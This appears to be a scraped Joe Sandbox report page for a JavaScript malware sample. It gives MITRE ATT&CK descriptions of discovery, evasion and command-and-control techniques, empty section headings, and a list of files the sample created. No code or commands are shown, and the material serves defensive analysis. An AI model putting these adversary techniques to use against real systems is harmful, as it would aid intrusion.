Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1327128311804210730.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\2c1c115e-4732-4ccb-ba8d-2314df7acdfd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.344

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1327128311804210730.js